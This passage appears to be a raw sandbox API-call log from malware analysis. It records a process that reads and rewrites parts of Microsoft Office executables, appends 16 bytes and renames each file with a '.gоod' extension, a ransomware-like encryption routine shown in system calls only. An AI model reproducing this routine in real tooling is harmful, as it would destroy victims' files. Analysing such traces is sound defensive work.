lpNumberOfBytesWritten=0x1f59e868, lpOverlapped=0x0 | out: lpBuffer=0x380fe58*, lpNumberOfBytesWritten=0x1f59e868*=0x1010, lpOverlapped=0x0) returned 1 [0149.997] CloseHandle (hObject=0x650) returned 1 [0149.997] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSACCESS.EXE", nBufferLength=0x105, lpBuffer=0x1f59e310, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSACCESS.EXE", lpFilePart=0x0) returned 0x3c [0149.997] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSACCESS.EXE.gоod", nBufferLength=0x105, lpBuffer=0x1f59e310, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSACCESS.EXE.gоod", lpFilePart=0x0) returned 0x41 [0149.997] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e7a0) returned 1 [0149.997] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSACCESS.EXE" (normalized: "c:\\program files\\microsoft office\\root\\office16\\msaccess.exe"), fInfoLevelId=0x0, lpFileInformation=0x1f59e880 | out: lpFileInformation=0x1f59e880*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xce758538, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xdf58154c, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x559d8cd4, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x13b5450)) returned 1 [0149.997] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e760) returned 1 [0149.997] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSACCESS.EXE" (normalized: "c:\\program files\\microsoft office\\root\\office16\\msaccess.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSACCESS.EXE.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\msaccess.exe.gоod")) returned 1 [0149.998] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSACCESS.VisualElementsManifest.xml", nBufferLength=0x105, lpBuffer=0x1f59e310, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSACCESS.VisualElementsManifest.xml", lpFilePart=0x0) returned 0x53 [0149.998] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e7e0) returned 1 [0149.998] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSACCESS.VisualElementsManifest.xml" (normalized: "c:\\program files\\microsoft office\\root\\office16\\msaccess.visualelementsmanifest.xml"), fInfoLevelId=0x0, lpFileInformation=0x388e668 | out: lpFileInformation=0x388e668*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xedc073c0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xedc073c0, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x1b250ebf, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x158)) returned 1 [0149.999] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e7a0) returned 1 [0149.999] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSACCESS.VisualElementsManifest.xml", nBufferLength=0x105, lpBuffer=0x1f59e170, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSACCESS.VisualElementsManifest.xml", lpFilePart=0x0) returned 0x53 [0149.999] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e690) returned 1 [0149.999] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSACCESS.VisualElementsManifest.xml" (normalized: "c:\\program files\\microsoft office\\root\\office16\\msaccess.visualelementsmanifest.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x650 [0149.999] GetFileType (hFile=0x650) returned 0x1 [0149.999] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e600) returned 1 [0149.999] GetFileType (hFile=0x650) returned 0x1 [0149.999] GetFileSize (in: hFile=0x650, lpFileSizeHigh=0x1f59e838 | out: lpFileSizeHigh=0x1f59e838*=0x0) returned 0x158 [0149.999] ReadFile (in: hFile=0x650, lpBuffer=0x388eae8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59e768, lpOverlapped=0x0 | out: lpBuffer=0x388eae8*, lpNumberOfBytesRead=0x1f59e768*=0x158, lpOverlapped=0x0) returned 1 [0150.423] CloseHandle (hObject=0x650) returned 1 [0150.452] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSACCESS.VisualElementsManifest.xml", nBufferLength=0x105, lpBuffer=0x1f59e170, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSACCESS.VisualElementsManifest.xml", lpFilePart=0x0) returned 0x53 [0150.452] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e690) returned 1 [0150.452] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSACCESS.VisualElementsManifest.xml" (normalized: "c:\\program files\\microsoft office\\root\\office16\\msaccess.visualelementsmanifest.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x650 [0150.454] GetFileType (hFile=0x650) returned 0x1 [0150.454] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e600) returned 1 [0150.454] GetFileType (hFile=0x650) returned 0x1 [0150.454] WriteFile (in: hFile=0x650, lpBuffer=0x397a218*, nNumberOfBytesToWrite=0x160, lpNumberOfBytesWritten=0x1f59e678, lpOverlapped=0x0 | out: lpBuffer=0x397a218*, lpNumberOfBytesWritten=0x1f59e678*=0x160, lpOverlapped=0x0) returned 1 [0150.455] CloseHandle (hObject=0x650) returned 1 [0150.455] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSACCESS.VisualElementsManifest.xml", nBufferLength=0x105, lpBuffer=0x1f59e310, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSACCESS.VisualElementsManifest.xml", lpFilePart=0x0) returned 0x53 [0150.455] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSACCESS.VisualElementsManifest.xml.gоod", nBufferLength=0x105, lpBuffer=0x1f59e310, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSACCESS.VisualElementsManifest.xml.gоod", lpFilePart=0x0) returned 0x58 [0150.455] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e7a0) returned 1 [0150.455] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSACCESS.VisualElementsManifest.xml" (normalized: "c:\\program files\\microsoft office\\root\\office16\\msaccess.visualelementsmanifest.xml"), fInfoLevelId=0x0, lpFileInformation=0x1f59e880 | out: lpFileInformation=0x1f59e880*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xedc073c0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xedc073c0, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x55e513a5, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x160)) returned 1 [0150.455] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e760) returned 1 [0150.455] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSACCESS.VisualElementsManifest.xml" (normalized: "c:\\program files\\microsoft office\\root\\office16\\msaccess.visualelementsmanifest.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSACCESS.VisualElementsManifest.xml.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\msaccess.visualelementsmanifest.xml.gоod")) returned 1 [0150.457] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\msoev.exe", nBufferLength=0x105, lpBuffer=0x1f59e310, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\msoev.exe", lpFilePart=0x0) returned 0x39 [0150.457] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e7e0) returned 1 [0150.457] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\msoev.exe" (normalized: "c:\\program files\\microsoft office\\root\\office16\\msoev.exe"), fInfoLevelId=0x0, lpFileInformation=0x397bd70 | out: lpFileInformation=0x397bd70*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xed388c20, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed388c20, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xede4358a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xa6b0)) returned 1 [0150.457] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e7a0) returned 1 [0150.457] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\msoev.exe", nBufferLength=0x105, lpBuffer=0x1f59e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\msoev.exe", lpFilePart=0x0) returned 0x39 [0150.457] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e6e0) returned 1 [0150.457] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\msoev.exe" (normalized: "c:\\program files\\microsoft office\\root\\office16\\msoev.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x650 [0150.458] GetFileType (hFile=0x650) returned 0x1 [0150.458] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e650) returned 1 [0150.458] GetFileType (hFile=0x650) returned 0x1 [0150.458] SetFilePointer (in: hFile=0x650, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f59e838*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f59e838*=0) returned 0x1000 [0150.458] ReadFile (in: hFile=0x650, lpBuffer=0x397c148, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59e808, lpOverlapped=0x0 | out: lpBuffer=0x397c148*, lpNumberOfBytesRead=0x1f59e808*=0x1000, lpOverlapped=0x0) returned 1 [0150.728] CloseHandle (hObject=0x650) returned 1 [0150.728] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\msoev.exe", nBufferLength=0x105, lpBuffer=0x1f59e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\msoev.exe", lpFilePart=0x0) returned 0x39 [0150.728] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e6e0) returned 1 [0150.728] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\msoev.exe" (normalized: "c:\\program files\\microsoft office\\root\\office16\\msoev.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x650 [0150.765] GetFileType (hFile=0x650) returned 0x1 [0150.765] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e650) returned 1 [0150.765] GetFileType (hFile=0x650) returned 0x1 [0150.765] SetFilePointer (in: hFile=0x650, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f59e838*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f59e838*=0) returned 0xa6b0 [0150.765] WriteFile (in: hFile=0x650, lpBuffer=0x3887778*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f59e728, lpOverlapped=0x0 | out: lpBuffer=0x3887778*, lpNumberOfBytesWritten=0x1f59e728*=0x10, lpOverlapped=0x0) returned 1 [0150.766] CloseHandle (hObject=0x650) returned 1 [0150.766] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\msoev.exe", nBufferLength=0x105, lpBuffer=0x1f59e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\msoev.exe", lpFilePart=0x0) returned 0x39 [0150.766] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e6e0) returned 1 [0150.766] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\msoev.exe" (normalized: "c:\\program files\\microsoft office\\root\\office16\\msoev.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x650 [0150.766] GetFileType (hFile=0x650) returned 0x1 [0150.766] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e650) returned 1 [0150.766] GetFileType (hFile=0x650) returned 0x1 [0150.766] ReadFile (in: hFile=0x650, lpBuffer=0x3889a18, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59e7b8, lpOverlapped=0x0 | out: lpBuffer=0x3889a18*, lpNumberOfBytesRead=0x1f59e7b8*=0x1000, lpOverlapped=0x0) returned 1 [0150.794] CloseHandle (hObject=0x650) returned 1 [0150.794] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\msoev.exe", nBufferLength=0x105, lpBuffer=0x1f59e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\msoev.exe", lpFilePart=0x0) returned 0x39 [0150.794] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e6e0) returned 1 [0150.794] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\msoev.exe" (normalized: "c:\\program files\\microsoft office\\root\\office16\\msoev.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x650 [0150.794] GetFileType (hFile=0x650) returned 0x1 [0150.794] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e650) returned 1 [0150.794] GetFileType (hFile=0x650) returned 0x1 [0150.794] WriteFile (in: hFile=0x650, lpBuffer=0x3888790*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f59e868, lpOverlapped=0x0 | out: lpBuffer=0x3888790*, lpNumberOfBytesWritten=0x1f59e868*=0x1010, lpOverlapped=0x0) returned 1 [0150.795] CloseHandle (hObject=0x650) returned 1 [0150.795] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\msoev.exe", nBufferLength=0x105, lpBuffer=0x1f59e310, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\msoev.exe", lpFilePart=0x0) returned 0x39 [0150.795] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\msoev.exe.gоod", nBufferLength=0x105, lpBuffer=0x1f59e310, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\msoev.exe.gоod", lpFilePart=0x0) returned 0x3e [0150.795] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e7a0) returned 1 [0150.795] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\msoev.exe" (normalized: "c:\\program files\\microsoft office\\root\\office16\\msoev.exe"), fInfoLevelId=0x0, lpFileInformation=0x1f59e880 | out: lpFileInformation=0x1f59e880*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xed388c20, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed388c20, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x561724ac, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xa6c0)) returned 1 [0150.795] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e760) returned 1 [0150.795] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\msoev.exe" (normalized: "c:\\program files\\microsoft office\\root\\office16\\msoev.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\msoev.exe.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\msoev.exe.gоod")) returned 1 [0150.796] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSOHTMED.EXE", nBufferLength=0x105, lpBuffer=0x1f59e310, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSOHTMED.EXE", lpFilePart=0x0) returned 0x3c [0150.796] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e7e0) returned 1 [0150.796] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSOHTMED.EXE" (normalized: "c:\\program files\\microsoft office\\root\\office16\\msohtmed.exe"), fInfoLevelId=0x0, lpFileInformation=0x3905e40 | out: lpFileInformation=0x3905e40*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe238cd90, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe238cd90, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe24e42d8, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x17060)) returned 1 [0150.797] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e7a0) returned 1 [0150.797] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSOHTMED.EXE", nBufferLength=0x105, lpBuffer=0x1f59e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSOHTMED.EXE", lpFilePart=0x0) returned 0x3c [0150.797] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e6e0) returned 1 [0150.797] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSOHTMED.EXE" (normalized: "c:\\program files\\microsoft office\\root\\office16\\msohtmed.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x650 [0150.797] GetFileType (hFile=0x650) returned 0x1 [0150.797] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e650) returned 1 [0150.797] GetFileType (hFile=0x650) returned 0x1 [0150.797] SetFilePointer (in: hFile=0x650, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f59e838*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f59e838*=0) returned 0x1000 [0150.797] ReadFile (in: hFile=0x650, lpBuffer=0x3906238, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59e808, lpOverlapped=0x0 | out: lpBuffer=0x3906238*, lpNumberOfBytesRead=0x1f59e808*=0x1000, lpOverlapped=0x0) returned 1 [0151.315] CloseHandle (hObject=0x650) returned 1 [0151.315] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSOHTMED.EXE", nBufferLength=0x105, lpBuffer=0x1f59e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSOHTMED.EXE", lpFilePart=0x0) returned 0x3c [0151.315] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e6e0) returned 1 [0151.315] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSOHTMED.EXE" (normalized: "c:\\program files\\microsoft office\\root\\office16\\msohtmed.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x650 [0151.346] GetFileType (hFile=0x650) returned 0x1 [0151.346] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e650) returned 1 [0151.346] GetFileType (hFile=0x650) returned 0x1 [0151.346] SetFilePointer (in: hFile=0x650, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f59e838*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f59e838*=0) returned 0x17060 [0151.347] WriteFile (in: hFile=0x650, lpBuffer=0x39450d8*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f59e728, lpOverlapped=0x0 | out: lpBuffer=0x39450d8*, lpNumberOfBytesWritten=0x1f59e728*=0x10, lpOverlapped=0x0) returned 1 [0151.347] CloseHandle (hObject=0x650) returned 1 [0151.348] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSOHTMED.EXE", nBufferLength=0x105, lpBuffer=0x1f59e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSOHTMED.EXE", lpFilePart=0x0) returned 0x3c [0151.348] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e6e0) returned 1 [0151.348] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSOHTMED.EXE" (normalized: "c:\\program files\\microsoft office\\root\\office16\\msohtmed.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x650 [0151.348] GetFileType (hFile=0x650) returned 0x1 [0151.348] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e650) returned 1 [0151.348] GetFileType (hFile=0x650) returned 0x1 [0151.348] ReadFile (in: hFile=0x650, lpBuffer=0x3947388, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59e7b8, lpOverlapped=0x0 | out: lpBuffer=0x3947388*, lpNumberOfBytesRead=0x1f59e7b8*=0x1000, lpOverlapped=0x0) returned 1 [0151.456] CloseHandle (hObject=0x650) returned 1 [0151.456] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSOHTMED.EXE", nBufferLength=0x105, lpBuffer=0x1f59e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSOHTMED.EXE", lpFilePart=0x0) returned 0x3c [0151.457] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e6e0) returned 1 [0151.457] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSOHTMED.EXE" (normalized: "c:\\program files\\microsoft office\\root\\office16\\msohtmed.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x650 [0151.457] GetFileType (hFile=0x650) returned 0x1 [0151.457] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e650) returned 1 [0151.457] GetFileType (hFile=0x650) returned 0x1 [0151.457] WriteFile (in: hFile=0x650, lpBuffer=0x379dec8*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f59e868, lpOverlapped=0x0 | out: lpBuffer=0x379dec8*, lpNumberOfBytesWritten=0x1f59e868*=0x1010, lpOverlapped=0x0) returned 1 [0151.457] CloseHandle (hObject=0x650) returned 1 [0151.457] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSOHTMED.EXE", nBufferLength=0x105, lpBuffer=0x1f59e310, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSOHTMED.EXE", lpFilePart=0x0) returned 0x3c [0151.457] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSOHTMED.EXE.gоod", nBufferLength=0x105, lpBuffer=0x1f59e310, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSOHTMED.EXE.gоod", lpFilePart=0x0) returned 0x41 [0151.457] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e7a0) returned 1 [0151.457] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSOHTMED.EXE" (normalized: "c:\\program files\\microsoft office\\root\\office16\\msohtmed.exe"), fInfoLevelId=0x0, lpFileInformation=0x1f59e880 | out: lpFileInformation=0x1f59e880*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe238cd90, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe238cd90, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x567da9f0, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x17070)) returned 1 [0151.458] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e760) returned 1 [0151.458] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSOHTMED.EXE" (normalized: "c:\\program files\\microsoft office\\root\\office16\\msohtmed.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSOHTMED.EXE.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\msohtmed.exe.gоod")) returned 1 [0151.459] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\msoia.exe", nBufferLength=0x105, lpBuffer=0x1f59e310, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\msoia.exe", lpFilePart=0x0) returned 0x39 [0151.459] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e7e0) returned 1 [0151.459] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\msoia.exe" (normalized: "c:\\program files\\microsoft office\\root\\office16\\msoia.exe"), fInfoLevelId=0x0, lpFileInformation=0x37d4698 | out: lpFileInformation=0x37d4698*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeddaac59, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1be16917, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1c648aa6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x66250)) returned 1 [0151.459] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e7a0) returned 1 [0151.459] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\msoia.exe", nBufferLength=0x105, lpBuffer=0x1f59e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\msoia.exe", lpFilePart=0x0) returned 0x39 [0151.459] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e6e0) returned 1 [0151.459] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\msoia.exe" (normalized: "c:\\program files\\microsoft office\\root\\office16\\msoia.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x650 [0151.460] GetFileType (hFile=0x650) returned 0x1 [0151.461] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e650) returned 1 [0151.461] GetFileType (hFile=0x650) returned 0x1 [0151.461] SetFilePointer (in: hFile=0x650, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f59e838*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f59e838*=0) returned 0x1000 [0151.461] ReadFile (in: hFile=0x650, lpBuffer=0x37d4a70, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59e808, lpOverlapped=0x0 | out: lpBuffer=0x37d4a70*, lpNumberOfBytesRead=0x1f59e808*=0x1000, lpOverlapped=0x0) returned 1 [0152.024] CloseHandle (hObject=0x650) returned 1 [0152.024] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\msoia.exe", nBufferLength=0x105, lpBuffer=0x1f59e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\msoia.exe", lpFilePart=0x0) returned 0x39 [0152.024] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e6e0) returned 1 [0152.024] CreateFileW 